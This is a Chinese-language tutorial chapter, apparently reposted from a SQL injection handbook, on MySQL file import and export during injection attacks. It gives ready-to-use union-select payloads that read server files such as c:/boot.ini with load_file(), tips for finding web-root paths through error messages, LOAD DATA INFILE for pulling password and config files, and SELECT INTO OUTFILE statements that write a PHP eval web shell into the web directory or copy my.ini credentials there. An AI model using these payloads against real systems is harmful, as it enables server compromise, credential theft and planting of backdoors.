MYSQL注入天書之導入導出介紹


Background-3 導入導出相關操作的講解

  1. load_file()導出文件

    Load_file(file_name):讀取文件並返回該文件的內容作為一個字符串。

    使用條件:

    A、必須有權限讀取並且文件必須完全可讀 

              and (select count(*) from mysql.user)>0/* 如果結果返回正常,說明具有讀寫權限。

          and (select count(*) from mysql.user)>0/* 返回錯誤,應該是管理員給數據庫帳戶降權

      B、欲讀取文件必須在服務器上 

      C、必須指定文件完整的路徑 

      D、欲讀取文件必須小於 max_allowed_packet 

    如果該文件不存在,或因為上面的任一原因而不能被讀出,函數返回空。比較難滿足的就是權限,在windows下,如果NTFS設置得當,是不能讀取相關的文件的,當遇到只有administrators才能訪問的文件,users就別想load_file出來。 

      在實際的注入中,我們有兩個難點需要解決: 

         絕對物理路徑 

    構造有效的畸形語句 (報錯爆出絕對路徑)

      在很多PHP程序中,當提交一個錯誤的Query,如果display_errors = on,程序就會暴露WEB目錄的絕對路徑,只要知道路徑,那么對於一個可以注入的PHP程序來說,整個服務器的安全將受到嚴重的威脅。

    常用路徑:

    http://www.cnblogs.com/lcamry/p/5729087.html

     

    示例:Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109))) 

    利用hex()將文件內容導出來,尤其是smb文件時可以使用。 

     

    -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))  

    Explain"char(99,58,47,98,111,111,116,46,105,110,105)"就是"c:/boot.ini"ASCII代碼 

     

    -1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)  

    Explain"c:/boot.ini"16進制是"0x633a2f626f6f742e696e69" 

     

    -1 union select 1,1,1,load_file(c:\\boot.ini)  

    Explain:路徑里的/ \\代替 

     

  2. 文件導入到數據庫 

    LOAD DATA INFILE語句用於高速地從一個文本文件中讀取行,並裝入一個表中。文件名稱必須為一個文字字符串。

    在注入過程中,我們往往需要一些特殊的文件,比如配置文件,密碼文件等。當你具有數據庫的權限時,可以將系統文件利用load data infile導入到數據庫中。

    函數具體介紹:對於參數介紹這里就不過多的贅述了,可以參考mysql的文檔。(提醒:參考文檔才是最佳的學習資料)

    示例:load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'

    將/tmp/t0.txt導入到t0表中,character set gbk是字符集設置為gbk,fields terminated by是每一項數據之間的分隔符,lines terminated by 是行的結尾符。

    當錯誤代碼是2的時候的時候,文件不存在,錯誤代碼為13的時候是沒有權限,可以考慮/tmp等文件夾。

    TIPS:我們從mysql5.7的文檔看到添加了load xml函數,是否依舊能夠用來做注入還需要驗證。

  3. 導入到文件

    SELECT.....INTO OUTFILE 'file_name'

    可以把被選擇的行寫入一個文件中。該文件被創建到服務器主機上,因此您必須擁有FILE權限,才能使用此語法。file_name不能是一個已經存在的文件。

    我們一般有兩種利用形式:

    第一種直接將select內容導入到文件中:

    Select version() into outfile "c:\\phpnow\\htdocs\\test.php"

    此處將version()替換成一句話,<?php @eval($_post["mima"])?>也即

    Select  <?php @eval($_post["mima"])?>  into outfile "c:\\phpnow\\htdocs\\test.php"

    直接連接一句話就可以了,其實在select內容中不僅僅是可以上傳一句話的,也可以上傳很多的內容。

       

    第二種修改文件結尾:

    Select version() Into outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16進制文件

    解釋:通常是用'\r\n'結尾,此處我們修改為自己想要的任何文件。同時可以用FIELDS TERMINATED BY  

    16進制可以為一句話或者其他任何的代碼,可自行構造。在sqlmap中os-shell采取的就是這樣的方式,具體可參考os-shell分析文章:http://www.cnblogs.com/lcamry/p/5505110.html 

     

     

    TIPS:

    (1)可能在文件路徑當中要注意轉義,這個要看具體的環境

      (2)上述我們提到了load_file(),但是當前台無法導出數據的時候,我們可以利用下面的語句:

    select load_file('c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini')into outfile 'c:\\wamp\\www\\test.php'

    可以利用該語句將服務器當中的內容導入到web服務器下的目錄,這樣就可以得到數據了。上述my.ini當中存在password項(不過默認被注釋),當然會有很多的內容可以被導出來,這個要平時積累。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM